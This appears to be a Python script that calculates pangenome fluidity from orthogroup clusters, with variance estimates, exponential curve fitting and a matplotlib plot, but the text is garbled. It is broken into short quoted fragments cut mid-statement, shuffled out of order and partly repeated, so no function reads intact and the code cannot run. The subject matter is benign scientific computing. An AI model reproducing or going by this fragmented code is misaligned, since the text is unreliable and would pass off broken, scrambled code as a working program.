len(combo_list[0]) # get", "iso_num + 1)]) stderr_bottom = np.array([(pan_fluidity - v) for v", "out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = [] for i in", "os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): # create", "Calcualtes fluidity for each sample and returns list of fluidities.", "calculations on {} subsample combinations of {} genomes'.format(len(combos),N)) if not", "genome_subsamples_fluidities(perm_list): ''' Compute fluidities from all possible combinations of genomes", "fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) # make sure x interval is", "curves, this solution works best for now geneticParameters_top = generate_Initial_Parameters(x_labels,", "ortho_list = [item.strip() for item in sorted(infile)] for line in", "= [] for sample in jack_samples: jack_pairs = tuple(combinations(sample,2)) #", "Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results) else: last_run", "func): warnings.filterwarnings(\"ignore\") # do not print warnings by genetic algorithm", "possible unique pairs of isolates and get their unique sum", "from subsamples]} for N in range(3, iso_num + 1): sub_fluid_dict[N]", "match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list)) return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create", "have at least 5 isolates to make up your pangenome.", "# seach bounds for a parameterBounds.append([-maxXY, maxXY]) # seach bounds", "from the total pool of genomes and the variance due", "all possible subsample combinations of N genomes. For samples of", "for faster processing. Calcualtes fluidity for each sample and returns", "return np.sum((y_curve_values - val) ** 2.0) def generate_Initial_Parameters(x_values, y_curve_values, func):", "plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels,", "fluidity of a pangenome dataset. Variance and standard error are", "Turning the max_off will force calculations to be done on", "max number of subsamples the subsamples are sampled WITH replacement", "clusters)/sum(all clusters)]} for i in range(0, len(iso_list)): for x in", "list(combinations(iso_list, N - 1)) # get list of all combos", "results.write('\\t'.join(line) + '\\n') if __name__ == \"__main__\": ortho_dict = create_ortho_dictionary(input_file)", "graph will probably not look pretty as it's difficult to", "MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog): super(MyFormatter, self).__init__(prog, max_help_position=48) parser = argparse.ArgumentParser(", "max_y = max(stderr_top) min_y = min(stderr_bottom) plt.ylim((min_y - min_y*0.15), (max_y", "matplotlib.pyplot as plt from multiprocessing import Pool from itertools import", "genomes sampled. [default: 250000]', metavar='' ) parser.add_argument( '--max_off', action='store_true', help", "maxfev=10000) if len(set(exponential(x_labels, *popt_t))) > 3 and len(set(exponential(x_labels, *popt_b))) >", "plt.minorticks_on() plt.grid(which='minor', axis='y', color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major',", "algorithm val = func(x_values, *parameterTuple) return np.sum((y_curve_values - val) **", "exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = neg_exponential(x_labels, *popt_t) bottom_curve =", "*popt_b))) > 3: plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6)", "multiprocessing import Pool from itertools import combinations from collections import", "for i in range(0, len(iso_list)): for x in range(0, len(iso_list)):", "parser.add_argument( '-p', '--prefix', help = 'Prefix to append to the", "seach bounds for a parameterBounds.append([-maxXY, maxXY]) # seach bounds for", "** 2.0) def generate_Initial_Parameters(x_values, y_curve_values, func): # min and max", "args=(x_values,y_curve_values, func), seed=3) return result.x def create_fluidity_results(figure_output, results_output): total_variance =", "such a low number of samples. ''' import os, sys,", "calculates genome fluidity from a pangenome dataset (orthogroups).''', epilog =", "+ pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance = np.array(total_variance) total_stderr", "return sub_fluid_dict def flatten(lis): for item in lis: if isinstance(item,", "[] for i in range(3, iso_num + 1): if i", "# get all pairs from current jackknife sample jack_sample_fluidity =", "all_pair = (cogs['Uk'] + cogs['Shared']) + (cogs['Ul'] + cogs['Shared']) pair_dict[pair]", "min(y_curve_values) maxXY = max(maxX, maxY) parameterBounds = [] parameterBounds.append([-maxXY, maxXY])", "total_variance.append(np.var(sub_fluid_dict[i], ddof = 1) + pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance)", "will only work if you have at least 5 isolates", "a pangenome dataset (orthogroups).''', epilog = \"\"\"Written by <NAME> (2019)\"\"\",", "ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y', color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1',", "or turned off with the --max_off flag. Turning the max_off", "perm_list.append(N) else: combos = N_combos print('Performing fluidity calculations on {}", "pair[0] not in v and pair[1] in v: cogs['Ul'] +=", "please provide on, -i or --input') sys.exit() if args.prefix: fluid_results", "[options] -i orthogroups -o output_folder', description = ''' Performs multiple", "represented in cluster} with open(ortho_file, 'r') as infile: ortho_list =", "- min_y*0.15), (max_y + max_y*0.15)) plt.xlabel('Number of genomes sampled') plt.ylabel('Fluidity,", "# adjust x limit so it starts with 3 at", "you have 5 isolates your graph will probably not look", "on all possible subsample combinations of N genomes. For samples", "neg_exponential(x, a, b, c): return a * np.exp(-b * x)", "pairs from current jackknife sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for p", "and a figure of pangenome fluidity with shaded regions showing", "== iso_list[x]: pair = tuple(sorted([iso_list[i], iso_list[x]])) if not pair in", "ortholog dictionary') ortho_isolates_dict = OrderedDict() # {Protein Cluster : list", "from multiprocessing import Pool from itertools import combinations from collections", "'\\t' in line: cluster, genes = line.split('\\t', 1) else: cluster,", "line.split(' ', 1) for match in re.finditer(r'([^\\s]+)', genes): isolate =", "self).__init__(prog, max_help_position=48) parser = argparse.ArgumentParser( usage='./%(prog)s [options] -i orthogroups -o", "due to the limited number of sampled genomes (variance of", "in READ.me', metavar='' ) parser.add_argument( '-o', '--out', required = True,", "os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir, args.out)) if args.input: input_file =", "1)]) x_labels = np.array([i for i in range(3, iso_num +", "# create dictionary of gene clusters and isolates per cluster", "ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--', lw=1, color='black') # plot y-values of", "not print warnings by genetic algorithm val = func(x_values, *parameterTuple)", "for multiprocessing [default: 1]', metavar='' ) parser.add_argument( '-max_sub', '--max_subsamples', type=int,", "jack_pairs] # get ratios from pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) #", "variances are calcualted as sample variances (n-1) instead of full", "':' in line: cluster, genes = line.split(':') elif '\\t' in", "if both isolates are not present unique_pair = cogs['Uk'] +", "1). Results are a text file of fluidity, variance, and", "clusters)]} for i in range(0, len(iso_list)): for x in range(0,", "of max subsamples at which point variances are calcualted as", "1) else: cluster, genes = line.split(' ', 1) for match", "args.input: input_file = os.path.abspath(args.input) else: print('ERROR: No orthogroups file was", "containing both the variance due to subsampling all possible combinations", "parser.add_argument( '--max_off', action='store_true', help = 'Turn off the max subsamples.", "from current jackknife sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for p in", "to the result files (such as Genus, species, etc.)', metavar=''", "in pair_dict.keys(): cogs = {'Shared' : 0, 'Uk' : 0,", "np.sum((y_curve_values - val) ** 2.0) def generate_Initial_Parameters(x_values, y_curve_values, func): #", "for match in re.finditer(r'([^\\s]+)', genes): isolate = match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster]", "''' Performs multiple bootstraps and calculates genome fluidity from a", ": [ratio of sum(unique clusters)/sum(all clusters)]} for i in range(0,", "subsamples are sampled WITH replacement and variance is calculated with", "current jackknife sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for p in jack_pairs]", "best for now geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom =", "ortho_isolates_dict = OrderedDict() # {Protein Cluster : list of isolates", "ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v for v in ortho_dict.values() if len(v)", "result_dir = os.path.abspath(os.path.join(rundir, args.out)) if args.input: input_file = os.path.abspath(args.input) else:", "dictionary of paired ratio values') pair_dict = {} # {(Isolate1,", "else: pass # don't need to count a cluster if", "= np.mean(fluidity_i_list) # calculate fluidity_i_mean from all fluidity_i's fluidity_variance =", "isolates per cluster '''Genereate dictionary of Orthogroups.''' print('Creating ortholog dictionary')", "number of subsamples the subsamples are sampled WITH replacement and", "fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig", "print warnings by genetic algorithm val = func(x_values, *parameterTuple) return", "and standard error for all N genome samples and a", "<= 3: geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t, pcov =", "if i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof = 1) + pan_variance)", "def generate_Initial_Parameters(x_values, y_curve_values, func): # min and max used for", "get ratios from pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i", "plt.savefig(figure_output) with open(results_output, 'w') as results: # print out fluidity", "set to 250,000 for each N genomes. This can be", "in re.finditer(r'([^\\s]+)', genes): isolate = match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list))", "yield x else: yield item def exponential(x, a, b, c):", "geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve", "x in total_variance]) y_fluidity_values = np.array([pan_fluidity for i in range(3,", "will probably not look pretty as it's difficult to fit", "pcov = curve_fit(exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) popt_b, pcov =", "k=args.max_subsamples) perm_list.append(N) else: combos = N_combos print('Performing fluidity calculations on", "print('Creating ortholog dictionary') ortho_isolates_dict = OrderedDict() # {Protein Cluster :", "val = func(x_values, *parameterTuple) return np.sum((y_curve_values - val) ** 2.0)", "plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = neg_exponential(x_labels,", ": 0, 'Ul' : 0} for k,v in ortho_dictionary.items(): if", "are calcualted as sample variances (n-1) instead of full population", "pangenome fluidity with shaded regions showing total standard error with", "[item.strip() for item in sorted(infile)] for line in ortho_list: iso_list", "= {'Shared' : 0, 'Uk' : 0, 'Ul' : 0}", "fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list) # calculate fluidity_i_mean from all fluidity_i's", "'--max_subsamples', type=int, default=250000, help = 'Max number of subsamples to", "subsample combinations of N genomes. For samples of N genomes", "genes): isolate = match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list)) return ortho_isolates_dict", "-i or --input') sys.exit() if args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt'))", "curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels, *popt_t))) > 3", "func): # min and max used for bounds maxX =", "due to subsampling all possible combinations (without replacement) of N", "interval is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust x limit so", "paired ratio values') pair_dict = {} # {(Isolate1, Isolate2) :", "with open(ortho_file, 'r') as infile: ortho_list = [item.strip() for item", "formatter_class = MyFormatter) parser.add_argument( '-i', '--input', required = True, help", "parameterBounds.append([-maxXY, maxXY]) # seach bounds for b parameterBounds.append([-maxXY, maxXY]) #", "be done on all possible subsample combinations of N genomes.", ") parser.add_argument( '-max_sub', '--max_subsamples', type=int, default=250000, help = 'Max number", "maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve =", "of subsamples set to 250,000 for each N genomes. This", "pair_fluidity_list = [pair_dict[tuple(sorted(p))] for p in pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list)", "os, sys, re, argparse, random, itertools, scipy, warnings, subprocess import", "pangenome dataset. Variance and standard error are estimated as total", "= generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t, pcov = curve_fit(neg_exponential, x_labels, stderr_top,", "+ pan_variance) total_variance = np.array(total_variance) total_stderr = np.array([x**(1/2) for x", "sure x interval is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust x", "1): sub_fluid_dict[N] = [] N_combos = list(combinations(iso_list, N)) if args.max_off:", "= (cogs['Uk'] + cogs['Shared']) + (cogs['Ul'] + cogs['Shared']) pair_dict[pair] =", "Has a cut off of max subsamples at which point", "sum(unique clusters)/sum(all clusters)]} for i in range(0, len(iso_list)): for x", "sampled WITH replacement and variance is calculated with a degree", "fluidity_list = [ratio for ratio in pair_dict.values()] # list of", "linewidth='1', which='major', color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white', alpha=0.5) ax.tick_params(axis='x',", "all possible combinations (without replacement) of N genomes from the", "Variance and standard error are estimated as total variance containing", "combinations of N genomes. For samples of N genomes that", "fig, ax = plt.subplots() try: # Still had problems sometimes", "et al. 2011). However, the script has a default max", "sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict def flatten(lis): for item in", "of gene clusters and isolates per cluster '''Genereate dictionary of", "[ratio of sum(unique clusters)/sum(all clusters)]} for i in range(0, len(iso_list)):", "result = differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func), seed=3) return result.x def", "# calculate fluidity_i_mean from all fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for", "collections.abc import Iterable from scipy.optimize import curve_fit, differential_evolution rundir =", "= os.path.abspath(os.path.join(rundir, args.out)) if args.input: input_file = os.path.abspath(args.input) else: print('ERROR:", "samples. ''' import os, sys, re, argparse, random, itertools, scipy,", "variance return pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list): ''' Takes portions of", "sample_process_list def genome_subsamples_fluidities(perm_list): ''' Compute fluidities from all possible combinations", "'-max_sub', '--max_subsamples', type=int, default=250000, help = 'Max number of subsamples", "'Number of cores to use for multiprocessing [default: 1]', metavar=''", "possible combinations of genomes from 3 to N randomly sampled", "genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with open(results_output, 'w') as", "in total_stderr]) stderr_top = np.array([(pan_fluidity + v) for v in", "difficult to fit with such a low number of samples.", "limited number of sampled genomes (variance of the pangenome)(Kislyuk et", "= np.array(total_variance) total_stderr = np.array([x**(1/2) for x in total_variance]) y_fluidity_values", "[] N_combos = list(combinations(iso_list, N)) if args.max_off: combos = N_combos", "v: cogs['Shared'] += 1 elif pair[0] in v and pair[1]", "only work if you have at least 5 isolates to", "1 else: pass # don't need to count a cluster", "i in range(3, iso_num + 1): if i in permutation_list:", "generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t, pcov = curve_fit(exponential, x_labels, stderr_top, geneticParameters_top,", "dictionary') ortho_isolates_dict = OrderedDict() # {Protein Cluster : list of", "i in range(3, iso_num + 1)]) x_labels = np.array([i for", "will force calculations to be done on all possible subsample", "showing total standard error with a exponential regression fit. Notes", "geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b, pcov = curve_fit(neg_exponential, x_labels,", "shaded regions showing total standard error with a exponential regression", "provided please provide on, -i or --input') sys.exit() if args.prefix:", "(2011) to calculate genome fluidity of a pangenome dataset. Variance", "calculations to be done on all possible subsample combinations of", "as np import pandas as pd import matplotlib.pyplot as plt", "popt_t, pcov = curve_fit(exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) popt_b, pcov", "to make up your pangenome. 2. If you have 5", "with such a low number of samples. ''' import os,", "1)) # get list of all combos of N-1 from", "y-values of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) # make sure x", "= [] if ':' in line: cluster, genes = line.split(':')", "= {} # {(Isolate1, Isolate2) : [ratio of sum(unique clusters)/sum(all", "0} for k,v in ortho_dictionary.items(): if pair[0] in v and", "and variance for the pangenome in question from the max", "(2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list def genome_subsamples_fluidities(perm_list): ''' Compute fluidities from", "top_curve = exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) if len(set(exponential(x_labels,", "for x in flatten(item): yield x else: yield item def", "else: print('ERROR: No orthogroups file was provided please provide on,", "bottom_curve = neg_exponential(x_labels, *popt_b) else: pass except: pass ax.set_axisbelow(True) plt.minorticks_on()", "= cogs['Uk'] + cogs['Ul'] all_pair = (cogs['Uk'] + cogs['Shared']) +", "genomes (N is the max number of gneomes in sample,", "else: cluster, genes = line.split(' ', 1) for match in", "# {(Isolate1, Isolate2) : [ratio of sum(unique clusters)/sum(all clusters)]} for", "- 1)) # get list of all combos of N-1", "pair_dict[pair] = unique_pair/all_pair return pair_dict def compute_fluidity_all_genomes(): ''' Computes the", "standard error with a exponential regression fit. Notes 1. This", "for i in range(3, iso_num + 1)]) x_labels = np.array([i", "+ (cogs['Ul'] + cogs['Shared']) pair_dict[pair] = unique_pair/all_pair return pair_dict def", "of the pangenome)(Kislyuk et al. 2011). However, the script has", "<= 3: geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b, pcov =", "a text file of fluidity, variance, and standard error for", "sample in combo_list: pairs = tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))] for", "of genomes from 3 to N randomly sampled genomes (N", "curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b),", "the -max_sub / --max_subsamples flag or turned off with the", "dictionary of gene clusters and isolates per cluster '''Genereate dictionary", "i in range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])])", "exponential regression fit. Notes 1. This will only work if", "= pan_results[1] permutation_list = [] sub_fluid_dict = genome_subsamples_fluidities(permutation_list) create_fluidity_results(fluid_fig, fluid_results)", "For samples of N genomes that were stopped at the", "jack_samples = list(combinations(iso_list, N - 1)) # get list of", "= min(stderr_bottom) plt.ylim((min_y - min_y*0.15), (max_y + max_y*0.15)) plt.xlabel('Number of", "for line in ortho_list: iso_list = [] if ':' in", "which='major', color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white', alpha=0.5) ax.tick_params(axis='x', which='minor',", "# print out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = [] for", "= list(set(iso_list)) return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create all possible unique", "total_variance]) y_fluidity_values = np.array([pan_fluidity for i in range(3, iso_num +", "fluidities from subsamples]} for N in range(3, iso_num + 1):", "3 at 0 max_y = max(stderr_top) min_y = min(stderr_bottom) plt.ylim((min_y", "default max number of subsamples set to 250,000 for each", "permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof = 1) + pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) +", "jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for p in jack_pairs] # get ratios", "y_fluidity_values, ls='--', lw=1, color='black') # plot y-values of fluidity plt.xticks(np.arange(x_labels[0],", "3: geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t, pcov = curve_fit(neg_exponential,", "with the -max_sub / --max_subsamples flag or turned off with", "and the variance due to the limited number of sampled", "facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b)", "generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b, pcov = curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom,", "linewidth='1', which='major', color='white', alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values,", "= 'Prefix to append to the result files (such as", "= min(y_curve_values) maxXY = max(maxX, maxY) parameterBounds = [] parameterBounds.append([-maxXY,", "regions showing total standard error with a exponential regression fit.", "x in range(0, len(iso_list)): if not iso_list[i] == iso_list[x]: pair", "+ max_y*0.15)) plt.xlabel('Number of genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output)", "However, the script has a default max number of subsamples", "in sample, so only sampled once). Has a cut off", "'-i', '--input', required = True, help = 'Orthogroups file, see", "stopped at the max number of subsamples the subsamples are", "ortho_isolates_dict[cluster] = list(set(iso_list)) return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create all possible", "3 and len(set(exponential(x_labels, *popt_b))) > 3: plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels,", "in lis: if isinstance(item, Iterable) and not isinstance(item, str): for", "else: fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def", "i in range(0, len(combos), chunk)] pool = Pool(processes=args.cpus) results =", "(N is the max number of gneomes in sample, so", "ortho_dictionary.items(): if pair[0] in v and pair[1] in v: cogs['Shared']", "N)) if args.max_off: combos = N_combos else: if len(N_combos) >", "run on N genomes sampled. [default: 250000]', metavar='' ) parser.add_argument(", "pangenome in question from the max number of genomes in", "regression fit. Notes 1. This will only work if you", "lw=1, color='black') # plot y-values of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0))", "cogs = {'Shared' : 0, 'Uk' : 0, 'Ul' :", "in line: cluster, genes = line.split(':') elif '\\t' in line:", "len(set(exponential(x_labels, *popt_t))) > 3 and len(set(exponential(x_labels, *popt_b))) > 3: plt.fill_between(x_labels,", "linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1',", "# {Protein Cluster : list of isolates represented in cluster}", "return sample_process_list def genome_subsamples_fluidities(perm_list): ''' Compute fluidities from all possible", "# get ratios from pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate", "-i orthogroups -o output_folder', description = ''' Performs multiple bootstraps", "fluidities from all possible combinations of genomes from 3 to", "# get fluidity from average of all ratios jack_samples =", "i in range(3, iso_num + 1)]) stderr_bottom = np.array([(pan_fluidity -", "fluidity_i_mean from all fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in", "v) for v in total_stderr]) stderr_top = np.array([(pan_fluidity + v)", "in v and pair[1] in v: cogs['Ul'] += 1 else:", "and isolates per cluster '''Genereate dictionary of Orthogroups.''' print('Creating ortholog", "else: pass if len(set(exponential(x_labels, *popt_b))) <= 3: geneticParameters_bottom = generate_Initial_Parameters(x_labels,", "v in total_stderr]) stderr_top = np.array([(pan_fluidity + v) for v", "possible subsample combinations of N genomes. For samples of N", "x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\") # do not print warnings by", "variance is calculated with a degree of freedom = 1", "for c # \"seed\" the numpy random number generator for", "'r') as infile: ortho_list = [item.strip() for item in sorted(infile)]", "unique_pair/all_pair return pair_dict def compute_fluidity_all_genomes(): ''' Computes the fluidity and", "in total_stderr]) fig, ax = plt.subplots() try: # Still had", "pairs = tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))] for p in pairs]", "isinstance(item, Iterable) and not isinstance(item, str): for x in flatten(item):", "This can be altered with the -max_sub / --max_subsamples flag", "clusters.''' print('Creating dictionary of paired ratio values') pair_dict = {}", "maxXY]) # seach bounds for c # \"seed\" the numpy", "works best for now geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom", "len(v) == iso_num]))) pair_dict = create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes() pan_fluidity", "from number of genomes present sample_process_list = [] for sample", "from itertools import combinations from collections import OrderedDict from collections.abc", "range(0, len(iso_list)): for x in range(0, len(iso_list)): if not iso_list[i]", "== 1: chunk = round(len(combos)/args.cpus) split_combos = [combos[i:i + chunk]", "3: plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve =", "of subsamples the subsamples are sampled WITH replacement and variance", "= 'Turn off the max subsamples. This will cause the", "min(stderr_bottom) plt.ylim((min_y - min_y*0.15), (max_y + max_y*0.15)) plt.xlabel('Number of genomes", "pangenome)(Kislyuk et al. 2011). However, the script has a default", "are sampled WITH replacement and variance is calculated with a", "iso_list[x]: pair = tuple(sorted([iso_list[i], iso_list[x]])) if not pair in pair_dict.keys():", "number of samples. ''' import os, sys, re, argparse, random,", "use for multiprocessing [default: 1]', metavar='' ) parser.add_argument( '-max_sub', '--max_subsamples',", "append to the result files (such as Genus, species, etc.)',", "in ortho_list: iso_list = [] if ':' in line: cluster,", "the subsamples are sampled WITH replacement and variance is calculated", "the --max_off flag. Turning the max_off will force calculations to", "Orthogroups.''' print('Creating ortholog dictionary') ortho_isolates_dict = OrderedDict() # {Protein Cluster", "iso_list[i] == iso_list[x]: pair = tuple(sorted([iso_list[i], iso_list[x]])) if not pair", "= match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list)) return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary):", "help = 'Turn off the max subsamples. This will cause", "a cluster if both isolates are not present unique_pair =", "required = True, help = 'Orthogroups file, see format in", "* x) + c def neg_exponential(x, a, b, c): return", "file was provided please provide on, -i or --input') sys.exit()", "else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance = np.array(total_variance) total_stderr = np.array([x**(1/2)", "for the pangenome in question from the max number of", "help = 'Output folder', metavar='' ) parser.add_argument( '-c', '--cpus', type=int,", "genomes sampled : [list of fluidities from subsamples]} for N", "'-o', '--out', required = True, help = 'Output folder', metavar=''", "N - 1)) # get list of all combos of", "samples of N genomes that were stopped at the max", "results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = [] for i in range(0, iso_num-2): r_out.append([str(i+3),", "genes = line.split(' ', 1) for match in re.finditer(r'([^\\s]+)', genes):", "help = 'Prefix to append to the result files (such", "generator for repeatable results result = differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func),", "geneticParameters_top, maxfev=10000) popt_b, pcov = curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000)", "runs them on separate threads for faster processing. Calcualtes fluidity", "sometimes with fitting curves, this solution works best for now", "for bounds maxX = max(x_values) minX = min(x_values) maxY =", "chunk)] pool = Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join()", "plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with open(results_output, 'w') as results: #", "as Genus, species, etc.)', metavar='' ) args=parser.parse_args() if not os.path.isdir(args.out):", "result files (such as Genus, species, etc.)', metavar='' ) args=parser.parse_args()", "pair[1] in v: cogs['Shared'] += 1 elif pair[0] in v", "alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--', lw=1, color='black')", "(without replacement) of N genomes from the total pool of", "stderr_bottom, exponential) popt_t, pcov = curve_fit(exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000)", "has a default max number of subsamples set to 250,000", "to be done on all possible subsample combinations of N", "= \"\"\"Written by <NAME> (2019)\"\"\", formatter_class = MyFormatter) parser.add_argument( '-i',", "and standard error are estimated as total variance containing both", "alpha=0.6) top_curve = neg_exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) else:", "pangenome. 2. If you have 5 isolates your graph will", "epilog = \"\"\"Written by <NAME> (2019)\"\"\", formatter_class = MyFormatter) parser.add_argument(", "2.0) def generate_Initial_Parameters(x_values, y_curve_values, func): # min and max used", "adjust x limit so it starts with 3 at 0", "exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) if len(set(exponential(x_labels, *popt_t))) <=", "create_pair_dictionary(ortho_dictionary): '''Create all possible unique pairs of isolates and get", "files (such as Genus, species, etc.)', metavar='' ) args=parser.parse_args() if", "-max_sub / --max_subsamples flag or turned off with the --max_off", "iso_num fluidity_list = [ratio for ratio in pair_dict.values()] # list", "results: # print out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = []", "from average of all ratios jack_samples = list(combinations(iso_list, N -", "force calculations to be done on all possible subsample combinations", "pair[0] in v and pair[1] not in v: cogs['Uk'] +=", "if you have at least 5 isolates to make up", "action='store_true', help = 'Turn off the max subsamples. This will", "func(x_values, *parameterTuple) return np.sum((y_curve_values - val) ** 2.0) def generate_Initial_Parameters(x_values,", "a degree of freedom = 1 (i.e. n - 1).", "- v) for v in total_stderr]) stderr_top = np.array([(pan_fluidity 